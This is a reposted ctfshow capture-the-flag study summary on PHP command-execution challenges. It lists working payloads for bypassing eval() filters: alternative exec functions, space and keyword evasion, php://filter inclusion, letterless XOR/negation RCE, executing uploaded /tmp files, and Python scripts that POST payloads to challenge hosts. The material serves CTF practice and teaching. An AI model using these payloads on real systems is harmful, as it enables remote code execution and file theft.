IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow命令执行刷题总结 -> 正文阅读

[PHP知识库]ctfshow命令执行刷题总结

过滤system函数和php

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

那还有其他函数可以使用,比如说

passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

可以使用的payload有

c=echo `nl fl''ag.ph''p`;
c=echo `cat f*`;
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;

过滤了一些敏感命令

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

cat被过滤可以用其他的命令来代替,比如

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep

也有相关文件读取函数:

file_get_content()
readfile()
highlight_file()
show_source()

空格过滤绕过姿势:

%09(要有php环境)${IFS}   $IFS$9  <>  \x20

一个骚姿势:

c=eval($_GET[1]);&1=system('nl flag.php');

可以通吃好几关。

过滤了括号

include函数是不需要括号的。利用文件包含来读取flag。

c=include$_POST["a"]?>
a=php://filter/read=convert.base64-encode/resource=flag.php

分号可以用?>来代替,涉及到文件包含姿势也就更多了,大同小异。还可以通过nginx的日志来获取到shell。(日志文件包含)

过滤数字字母(无字母数字RCE)

取反(需要~符号)

举一个实例,构造一个system('ls')这个命令。

得到取反后的结果,因为可能会有不可见字符,所以 url编码一下。构造payload的时候再用~取反回来就行,(取反原理:PHP ~(按位取反)位运算符_Williamslife的博客-CSDN博客_php 按位取反

异或(需要^符号)

相同数字为0,不同数字为1.比如1^1=0,1^0=0。在进行字符异或时,先转为二进制而进行异或。这样通过两个字符就可以异或为一个新的字符。直接上异或脚本。

import requests
import re

xiao1 = ""
xiao2 = ""
url = 'http://bb034458-7bb2-4376-9947-382f39e45cd1.challenge.ctf.show/'
cit = []         #收集没有被过滤的字符
for i in range(255):
    a = chr(i)
    wer = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', a, re.I)
    # print(wer)
    if (wer):
        continue
    else:
        cit.append(i)       #添加元素
pay1 = "system"  # 函数名,如system
pay2 = "cat flag.php"  # 参数,例如ls


def text(a, b):
    global xiao1
    global xiao2
    for i in range(0, len(cit)):
        for j in range(i, len(cit)):
            if cit[i] | cit[j] == ord(b[a]):    #找出哪两个字符异或得到目标字符
                xiao1 += chr(cit[i])   #添加
                xiao2 += chr(cit[j])   #添加
                return

for m in range(0,len(pay1)):  #遍历目标字符串
    text(m,pay1)
data1 = "(\"" + xiao1 + "\"|\"" + xiao2 + "\")"  #需要构造如(system)(ls)的形式所以要加大括号
xiao1 = ""
xiao2 = ""
for m in range(0,len(pay2)):
    text(m,pay2)
data2 = "(\"" + xiao1 + "\"|\"" +xiao2 + "\")"
data = {"c":data1 + data2}
res = requests.post(url=url, data=data).text#收到响应内容
print(res)

自增(需要+字符)

通过自增改变字符的ascli码值来获得新的字符。++'字符1'='字符二'。

骚姿势一(linux系统)

shell下是可以用点来执行任意脚本的,而且不需要执行权限。如果我们上传一个可控的文件,再用点来执行这个文件,对于陌生的上传文件,php会把它放在临时目录/tmp文件夹下,

post上传文件的数据包:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

这种文件的保存路径在linux下一般为/tmp/php??????。在上传的文件中构造命令如下:

#!/bin/sh
ls

上传文件抓包,再传参,怎么传参执行文件呢?构造payload:

?c=.+/???/????????[@-[]

@字符和[字符是大写字母的边界。在这里来匹配大写字母。(相关知识链接:无字母数字webshell之提高篇,)(无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客_无字符命令执行

骚姿势二

利用$()数学运算。linux运行操作看一下。

$((~$(())))运算为-1,那么我们就可以构造任意数字了。麻烦死了。。

ob缓存

看题目代码:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

只需要exit强制退出即可。如payload:

c=require("/flag.txt");exit();

需要遍历

利用php内置类和glob协议来遍历目录找到flag。相关payload:

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} 
exit(0);
?>

遍历脚本:

import requests
url='http://31f2752e-4051-467d-a2b9-8ab036691177.challenge.ctf.show/'
print(requests.post(url,data={'c':'''?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0);?>'''}).text)
print(requests.post(url,{'c':f'''?><?php require "{input('FileName:')}"; exit();'''}).text)

利用mysql读取

需要知道数据库名。payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

通过${PATH}等

可以通过${PATH}等环境变量来截取字符,拼接构造payload。

可以构造我们想要的命令。 除了PATH,还有PWD,HOME,等等。可以结合?通配符使用。

举个例子,构造nl flag.php,payload为

${PATH:14:1}${PATH:5:1} ????.???

参考链接:

可以参考mumuzi师傅的:ctfshow 命令执行 web29-web77 web118-122 web124 wp_是Mumuzi的博客-CSDN博客

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-07-04 22:36:45  更:2022-07-04 22:36:50 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/26 3:49:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码